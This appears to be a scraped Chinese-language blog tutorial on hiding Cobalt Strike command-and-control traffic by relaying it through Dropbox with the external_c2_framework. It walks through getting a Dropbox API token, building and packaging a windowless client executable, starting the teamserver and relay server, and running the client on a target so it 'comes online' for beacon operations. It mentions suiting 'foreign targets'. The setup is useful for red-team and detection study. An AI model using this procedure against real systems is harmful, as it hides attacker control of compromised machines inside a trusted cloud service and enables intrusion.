利用Dropbox中转自己的C2

0x00 前言

0x01 环境准备

1、注册dropbox账号

2、Kali Linux(cobaltstrike服务器以及dropbox的server端)

(1)Kali自带的java环境是OpenJdk版的,需要卸载重装OracleJdk版本(具体方法可自行百度)

(2)安装好 mingw 编译环境 ,并自行设置环境变量

(3)准备好cobaltstrike(此处用的是3.8版本)

3、32位win7系统

(1)准备好python环境(此次实验用的是2.7版本)

(2)通过pip安装两个程序

# pip install pyinstaller
# pip install dropbox

注:由于国家防火墙的原因,如果想要在本地完成此次操作,需要挂上VPN代理,所以此方法可能主要适用于对国外的目标使用

0x02 通过dropbox创建app获取token

(1)通过如下页面创建一个app

利用Dropbox中转自己的C2-LMLPHP

(2)通过刚才创建的app生成token,如图,点击Generate就可以生成一个token,这个token的作用就是让dropbox来帮助中转c2

利用Dropbox中转自己的C2-LMLPHP

0x03 配置客户端(client)和服务端(server)

(1)下载external_c2_framework

git clone https://github.com/Truneski/external_c2_framework.git

利用Dropbox中转自己的C2-LMLPHP

(2)编辑下载文件夹external_c2_framework内的dbox_client.py

vim external_c2_framework/builds/client/dbox/dbox_client.py

利用Dropbox中转自己的C2-LMLPHP

(3)再编辑下载文件夹external_c2_framework内的transport_dbox.py

vim external_c2_framework/builds/server/utils/transports/transport_dbox.py

利用Dropbox中转自己的C2-LMLPHP

(4)依托mingw编译,通过执行external_c2_framework/builds/client/dbox目录下的compile_dll.sh脚本编译生成dll

利用Dropbox中转自己的C2-LMLPHP

备注:如果您是使用我提供的环境,使用java或者执行compile_dll.sh脚本的时候会报错,需要使用命令:source /etc/profile 。然后再执行才能成功。具体原因应该是我环境变量的问题,暂时没解决

(5)在32位windows 7 机器上打包external_c2_framework/builds/client目录下的程序为exe

  • 将整个external_c2_framework/builds/client/目录下的文件拷贝到32位win7系统上

    利用Dropbox中转自己的C2-LMLPHP

将压缩好的zip文件拷贝到32位win7上并解压缩

  • 执行以下命令:
pyinstaller.exe -w -F C:\Users\xx\Desktop\dropbox\dbox\dbox_client.py

利用Dropbox中转自己的C2-LMLPHP

利用Dropbox中转自己的C2-LMLPHP

打包好的exe文件在如下显示的位置:

利用Dropbox中转自己的C2-LMLPHP

利用Dropbox中转自己的C2-LMLPHP

0x04 进入正题

(1)在kali上启动cs,并且创建监听器

  • 执行命令启动cs服务端

    ./teamserver 192.168.74.140 123456
    

    利用Dropbox中转自己的C2-LMLPHP

  • 启动cs客户端登陆cs服务器

    利用Dropbox中转自己的C2-LMLPHP

利用Dropbox中转自己的C2-LMLPHP

  • 创建一个监听器

利用Dropbox中转自己的C2-LMLPHP

利用Dropbox中转自己的C2-LMLPHP

(2)加载external_c2_framework里的start_externalc2.cna 脚本

利用Dropbox中转自己的C2-LMLPHP

(3)如果中转c2数据的服务器和我们自己的cs服务器不在同一台机器上,那么可以通过external_c2_framework/builds/server/config.py进行修改,对ip,port等进行一个设置,如果中转c2数据的服务和我们的cs服务器是同一个机器,那么这个配置文件默认即可。具体如下:

利用Dropbox中转自己的C2-LMLPHP

(4)启动中转的服务

python external_c2_framework/builds/server/dbox_server.py

利用Dropbox中转自己的C2-LMLPHP

启动过后,如果没有运行我们刚才制作好的exe客户端文件会一直停留在这个状态

(5)去目标服务器启动客户端(我们制作好的exe文件:dbox_client.exe)

利用Dropbox中转自己的C2-LMLPHP

成功启动客户端过后,可以看到刚才启动服务的程序已经开始下一步的运行:

利用Dropbox中转自己的C2-LMLPHP

(5)目标机器成功上线

利用Dropbox中转自己的C2-LMLPHP

利用Dropbox中转自己的C2-LMLPHP

(6)通过beacon执行一些敏感操作

利用Dropbox中转自己的C2-LMLPHP

05-11 20:13